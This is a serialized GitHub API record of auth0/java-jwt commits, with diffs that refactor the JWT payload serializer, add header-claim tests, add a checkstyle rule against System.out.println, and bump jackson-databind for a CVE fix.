+}u}(jd3  (497a3a947f74f7b98485af58256cad5482922372j3  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj3  modifiedj3  Kj3  KDj3  KUj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  Xk  @@ -1,12 +1,12 @@
 package com.auth0.jwt.impl;
 
 import com.fasterxml.jackson.core.JsonGenerator;
-import com.fasterxml.jackson.databind.SerializerProvider;
-import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
@@ -15,32 +15,26 @@
  * <p>
  * This class is thread-safe.
  */
-public class PayloadSerializer extends StdSerializer<ClaimsHolder> {
-
+public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
-        this(null);
-    }
-
-    private PayloadSerializer(Class<ClaimsHolder> t) {
-        super(t);
+        super(PayloadClaimsHolder.class);
     }
 
     @Override
-    public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
-
-        gen.writeStartObject();
-        for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
-                writeAudience(gen, e);
-            } else {
-                gen.writeFieldName(e.getKey());
-                handleSerialization(e.getValue(), gen);
-            }
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+            writeAudience(gen, entry);
+        } else {
+            super.writeClaim(entry, gen);
         }
-
-        gen.writeEndObject();
     }
 
+    /**
+     * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
+     * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
+     */
+
+    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());
@@ -70,49 +64,4 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
             }
         }
     }
-
-    /**
-     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
-     * @param value the object to serialize
-     * @param gen the JsonGenerator to use for JSON serialization
-     */
-    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) {
-            gen.writeNumber(dateToSeconds((Date) value));
-        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
-            gen.writeNumber(instantToSeconds((Instant) value));
-        } else if (value instanceof Map) {
-            serializeMap((Map<?, ?>) value, gen);
-        } else if (value instanceof List) {
-            serializeList((List<?>) value, gen);
-        } else {
-            gen.writeObject(value);
-        }
-    }
-
-    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
-        gen.writeStartObject();
-        for (Map.Entry<?, ?> entry : map.entrySet()) {
-            gen.writeFieldName((String) entry.getKey());
-            Object value = entry.getValue();
-            handleSerialization(value, gen);
-        }
-        gen.writeEndObject();
-    }
-
-    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
-        gen.writeStartArray();
-        for (Object entry : list) {
-            handleSerialization(entry, gen);
-        }
-        gen.writeEndArray();
-    }
-
-    private long instantToSeconds(Instant instant) {
-        return instant.getEpochSecond();
-    }
-
-    private long dateToSeconds(Date date) {
-        return date.getTime() / 1000;
-    }
 }u}(jd3  (96976166e1ecc4be2f65818a8ef155b4256c79bcj3  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj3  modifiedj3  K"j3  Kj3  K(j3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -16,8 +15,8 @@
 import java.time.Instant;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -39,19 +38,48 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
                 .sign(null);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldAddHeaderClaim() {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put("asd", 123);
+        Date date = new Date(123000);
+        Instant instant = date.toInstant();
+
+        List<Object> list = Arrays.asList(date, instant);
+        Map<String, Object> map = new HashMap<>();
+        map.put("date", date);
+        map.put("instant", instant);
+
+        List<Object> expectedSerializedList = Arrays.asList(date.getTime() / 1000, instant.getEpochSecond());
+        Map<String, Object> expectedSerializedMap = new HashMap<>();
+        expectedSerializedMap.put("date", date.getTime() / 1000);
+        expectedSerializedMap.put("instant", instant.getEpochSecond());
+
+        Map<String, Object> header = new HashMap<>();
+        header.put("string", "string");
+        header.put("int", 42);
+        header.put("long", 4200000000L);
+        header.put("double", 123.123);
+        header.put("bool", true);
+        header.put("date", date);
+        header.put("instant", instant);
+        header.put("list", list);
+        header.put("map", map);
+
         String signed = JWTCreator.init()
                 .withHeader(header)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("asd", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("string", "string"));
+        assertThat(headerJson, JsonMatcher.hasEntry("int", 42));
+        assertThat(headerJson, JsonMatcher.hasEntry("long", 4200000000L));
+        assertThat(headerJson, JsonMatcher.hasEntry("double", 123.123));
+        assertThat(headerJson, JsonMatcher.hasEntry("bool", true));
+        assertThat(headerJson, JsonMatcher.hasEntry("date", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("instant", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("list", expectedSerializedList));
+        assertThat(headerJson, JsonMatcher.hasEntry("map", expectedSerializedMap));
     }
 
     @Testu}(jd3  (32db703e1de332e90f9234ff90c99c9cacf6b831j3  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj3  modifiedj3  Kj3  K j3  Kj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X  @@ -15,6 +15,7 @@
 import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
+import java.util.List;
 import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -347,6 +348,35 @@ public void shouldSerializeAndDeserialize() throws Exception {
                 is(equalTo(deserializedJwt.getClaims().get("extraClaim").asString())));
     }
 
+    @Test
+    public void shouldDecodeHeaderClaims() {
+        String jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImRhdGUiOjE2NDczNTgzMjUsInN0cmluZyI6InN0cmluZyIsImJvb2wiOnRydWUsImRvdWJsZSI6MTIzLjEyMywibGlzdCI6WzE2NDczNTgzMjVdLCJtYXAiOnsiZGF0ZSI6MTY0NzM1ODMyNSwiaW5zdGFudCI6MTY0NzM1ODMyNX0sImludCI6NDIsImxvbmciOjQyMDAwMDAwMDAsImluc3RhbnQiOjE2NDczNTgzMjV9.eyJpYXQiOjE2NDczNjA4ODF9.S2nZDM03ZDvLMeJLWOIqWZ9kmYHZUueyQiIZCCjYNL8";
+
+        Instant expectedInstant = Instant.ofEpochSecond(1647358325);
+        Date expectedDate = Date.from(expectedInstant);
+
+        DecodedJWT decoded = JWT.decode(jwt);
+        assertThat(decoded, is(notNullValue()));
+        assertThat(decoded.getHeaderClaim("date").asDate(), is(expectedDate));
+        assertThat(decoded.getHeaderClaim("instant").asInstant(), is(expectedInstant));
+        assertThat(decoded.getHeaderClaim("string").asString(), is("string"));
+        assertThat(decoded.getHeaderClaim("bool").asBoolean(), is(true));
+        assertThat(decoded.getHeaderClaim("double").asDouble(), is(123.123));
+        assertThat(decoded.getHeaderClaim("int").asInt(), is(42));
+        assertThat(decoded.getHeaderClaim("long").asLong(), is(4200000000L));
+
+        Map<String, Object> headerMap = decoded.getHeaderClaim("map").asMap();
+        assertThat(headerMap, is(notNullValue()));
+        assertThat(headerMap.size(), is(2));
+        assertThat(headerMap, hasEntry("date", 1647358325));
+        assertThat(headerMap, hasEntry("instant", 1647358325));
+
+        List<Object> headerList = decoded.getHeaderClaim("list").asList(Object.class);
+        assertThat(headerList, is(notNullValue()));
+        assertThat(headerList.size(), is(1));
+        assertThat(headerList, contains(1647358325));
+    }
+
     //Helper Methods
 
     private DecodedJWT customJWT(String jsonHeader, String jsonPayload, String signature) {u}(jd3  (2f053830821b194992e531d33c8203bb88338603j3  Alib/src/test/java/com/auth0/jwt/impl/PayloadClaimsHolderTest.javaj3  renamedj3  Kj3  Kj3  K	j3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X  @@ -9,23 +9,22 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 
-public class ClaimsHolderTest {
+public class PayloadClaimsHolderTest {
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        ClaimsHolder holder = new PayloadClaimsHolder(claims);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));
-        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", (Object) "auth0")));
+        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", "auth0")));
     }
 
     @Test
     public void shouldGetNotNullClaims() {
-        ClaimsHolder holder = new ClaimsHolder(null);
+        ClaimsHolder holder = new PayloadClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));previous_filename:lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javau}(jd3  (45761de0de14de2d9ceffddc396daf599d2c544ej3  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj3  modifiedj3  Kj3  Kj3  K<j3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  Xy.  @@ -11,8 +11,8 @@
 import java.io.StringWriter;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 
 public class PayloadSerializerTest {
 
@@ -31,10 +31,9 @@ public void setUp() throws Exception {
         serializerProvider = mapper.getSerializerProvider();
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldSerializeEmptyMap() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(new HashMap<String, Object>());
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(new HashMap<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -43,7 +42,7 @@ public void shouldSerializeEmptyMap() throws Exception {
 
     @Test
     public void shouldSerializeStringAudienceAsString() throws Exception {
-        ClaimsHolder holder = holderFor("aud", "auth0");
+        PayloadClaimsHolder holder = holderFor("aud", "auth0");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -52,7 +51,7 @@ public void shouldSerializeStringAudienceAsString() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -61,7 +60,7 @@ public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -70,7 +69,7 @@ public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSkipSerializationOnEmptyAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[0]);
+        PayloadClaimsHolder holder = holderFor("aud", new String[0]);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -79,7 +78,7 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -88,7 +87,7 @@ public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -97,7 +96,7 @@ public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Except
 
     @Test
     public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        PayloadClaimsHolder holder = holderFor("aud", new ArrayList<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -106,7 +105,7 @@ public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -115,7 +114,7 @@ public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -124,7 +123,7 @@ public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", 4);
+        PayloadClaimsHolder holder = holderFor("aud", 4);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -133,7 +132,7 @@ public void shouldSkipNonStringsOnAudience() throws Exception {
 
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("nbf", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("nbf", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -142,7 +141,7 @@ public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("iat", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("iat", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -151,7 +150,7 @@ public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("exp", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("exp", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -160,7 +159,7 @@ public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeCustomDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -171,7 +170,7 @@ public void shouldSerializeCustomDateInSeconds() throws Exception {
     public void shouldSerializeDatesUsingLong() throws Exception {
         long secs = Integer.MAX_VALUE + 10000L;
         Date date = new Date(secs * 1000L);
-        Map<String, Object> claims = new HashMap<String, Object>();
+        Map<String, Object> claims = new HashMap<>();
         claims.put("iat", date);
         claims.put("nbf", date);
         claims.put("exp", date);
@@ -187,7 +186,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         nestedInList.add(Collections.singletonMap("nested", date));
         claims.put("nestedInList", nestedInList);
 
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -206,7 +205,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
 
     @Test
     public void shouldSerializeStrings() throws Exception {
-        ClaimsHolder holder = holderFor("name", "Auth0 Inc");
+        PayloadClaimsHolder holder = holderFor("name", "Auth0 Inc");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -215,7 +214,7 @@ public void shouldSerializeStrings() throws Exception {
 
     @Test
     public void shouldSerializeIntegers() throws Exception {
-        ClaimsHolder holder = holderFor("number", 12345);
+        PayloadClaimsHolder holder = holderFor("number", 12345);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -224,7 +223,7 @@ public void shouldSerializeIntegers() throws Exception {
 
     @Test
     public void shouldSerializeDoubles() throws Exception {
-        ClaimsHolder holder = holderFor("fraction", 23.45);
+        PayloadClaimsHolder holder = holderFor("fraction", 23.45);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -233,7 +232,7 @@ public void shouldSerializeDoubles() throws Exception {
 
     @Test
     public void shouldSerializeBooleans() throws Exception {
-        ClaimsHolder holder = holderFor("pro", true);
+        PayloadClaimsHolder holder = holderFor("pro", true);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -242,7 +241,7 @@ public void shouldSerializeBooleans() throws Exception {
 
     @Test
     public void shouldSerializeNulls() throws Exception {
-        ClaimsHolder holder = holderFor("id", null);
+        PayloadClaimsHolder holder = holderFor("id", null);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -253,7 +252,7 @@ public void shouldSerializeNulls() throws Exception {
     public void shouldSerializeCustomArrayOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
+        PayloadClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -264,7 +263,7 @@ public void shouldSerializeCustomArrayOfObject() throws Exception {
     public void shouldSerializeCustomListOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
+        PayloadClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -274,18 +273,17 @@ public void shouldSerializeCustomListOfObject() throws Exception {
     @Test
     public void shouldSerializeCustomObject() throws Exception {
         UserPojo user = new UserPojo("Michael", 1);
-        ClaimsHolder holder = holderFor("users", user);
+        PayloadClaimsHolder holder = holderFor("users", user);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         assertThat(writer.toString(), is(equalTo("{\"users\":{\"name\":\"Michael\",\"id\":1}}")));
     }
 
-    @SuppressWarnings("Convert2Diamond")
-    private ClaimsHolder holderFor(String key, Object value) {
-        Map<String, Object> map = new HashMap<String, Object>();
+    private PayloadClaimsHolder holderFor(String key, Object value) {
+        Map<String, Object> map = new HashMap<>();
         map.put(key, value);
-        return new ClaimsHolder(map);
+        return new PayloadClaimsHolder(map);
     }
 
 }
\ No newline at end of fileueu
     (367be43faa1a9db6f8437481eb417b910fa7b647}(sha(367be43faa1a9db6f8437481eb417b910fa7b647node_idEC_kwDOAQtL0doAKDM2N2JlNDNmYWExYTlkYjZmODQzNzQ4MWViNDE3YjkxMGZhN2I2NDccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T14:41:07Zu	committer}(j54  
Poovamraj T Tj74  poovamraj@gmail.comj94  2022-03-23T14:41:07Zumessage!Add rule to avoid println in codetree}(j-4  (066e71bb3282fa0f033893563884a66c0168057eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/066e71bb3282fa0f033893563884a66c0168057eujE4  `https://api.github.com/repos/auth0/java-jwt/git/commits/367be43faa1a9db6f8437481eb417b910fa7b647
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujE4  \https://api.github.com/repos/auth0/java-jwt/commits/367be43faa1a9db6f8437481eb417b910fa7b647html_urlQhttps://github.com/auth0/java-jwt/commit/367be43faa1a9db6f8437481eb417b910fa7b647comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/367be43faa1a9db6f8437481eb417b910fa7b647/commentsj34  }(login	poovamrajidJ j/4  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jE4  &https://api.github.com/users/poovamrajjQ4  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj;4  }(jV4  	poovamrajjX4  J j/4  MDQ6VXNlcjE1OTEwNDI1jZ4  4https://avatars.githubusercontent.com/u/15910425?v=4j\4  h3jE4  &https://api.github.com/users/poovamrajjQ4  https://github.com/poovamrajj_4  0https://api.github.com/users/poovamraj/followersja4  =https://api.github.com/users/poovamraj/following{/other_user}jc4  6https://api.github.com/users/poovamraj/gists{/gist_id}je4  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jg4  4https://api.github.com/users/poovamraj/subscriptionsji4  +https://api.github.com/users/poovamraj/orgsjk4  ,https://api.github.com/users/poovamraj/reposjm4  7https://api.github.com/users/poovamraj/events{/privacy}jo4  6https://api.github.com/users/poovamraj/received_eventsjq4  Userjs4  uparents]}(j-4  (8ab85ab9570215bb47b331b543a098491e4da018jE4  \https://api.github.com/repos/auth0/java-jwt/commits/8ab85ab9570215bb47b331b543a098491e4da018jQ4  Qhttps://github.com/auth0/java-jwt/commit/8ab85ab9570215bb47b331b543a098491e4da018uastats}(totalK	additionsK	deletionsK ufiles]}(j-4  (d261598185a284921b33df28fcffc23706782f82filename config/checkstyle/checkstyle.xmlstatusmodifiedj4  Kj4  K changesKblob_urlthttps://github.com/auth0/java-jwt/blob/367be43faa1a9db6f8437481eb417b910fa7b647/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/367be43faa1a9db6f8437481eb417b910fa7b647/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=367be43faa1a9db6f8437481eb417b910fa7b647patchX  @@ -55,6 +55,12 @@
             <property name="message"
                       value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
         </module>
+        <module name="Regexp">
+            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
+            <property name="format" value="System\.out\.println"/>
+            <property name="illegalPattern" value="true"/>
+            <property name="message" value="Use of System.out.println is not allowed"/>
+        </module>
         <module name="AvoidEscapedUnicodeCharacters">
             <property name="allowEscapesForControlCharacters" value="true"/>
             <property name="allowByTailComment" value="true"/>uau(3b153a0ded5053efc2e2841284e90e4793c865c4}(sha(3b153a0ded5053efc2e2841284e90e4793c865c4node_idEC_kwDOAQtL0doAKDNiMTUzYTBkZWQ1MDUzZWZjMmUyODQxMjg0ZTkwZTQ3OTNjODY1YzQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-26T18:20:55Zu	committer}(j4  GitHubj4  noreply@github.comj4  2022-03-26T18:20:55ZumessageSecurity: Bump `jackson-databind` to 2.13.2.1

This PR bumps the `jackson-databind` dependency to 2.13.2.1 to address [CVE-2020-36518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36518) in that librarytree}(j4  (8fd5d1496351a15f3fc28fd73277a574c4c4bfb4url^https://api.github.com/repos/auth0/java-jwt/git/trees/8fd5d1496351a15f3fc28fd73277a574c4c4bfb4uj4  `https://api.github.com/repos/auth0/java-jwt/git/commits/3b153a0ded5053efc2e2841284e90e4793c865c4
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiP1mHCRBK7hj4Ov3rIwAAThcIAKJEJZpNgOwQPmT3OyJ5xMh5
QcRObeOkTek2+N+RDKJIpg2sUwV1piA9Puj11PL7QPyT+Xwz0PExBGIMUfVkOlMt
upS/ad0hL4EzPQcl8U66qXm9eI+aJfnwAu2e5aDy6MrYUCsGJOikMIVn1XKefQFz
HltXUcaa2mG12hXWTsO+jQm3pfc8+P1AY8EswsvBje+GlLrOsYGD0XghFJ1bWNam
A07bNSm9UeSNR3a8FV76CjOmkURmd/c/mYjkovQx89dI+oyB2GME/iiGCW4iKLiQ
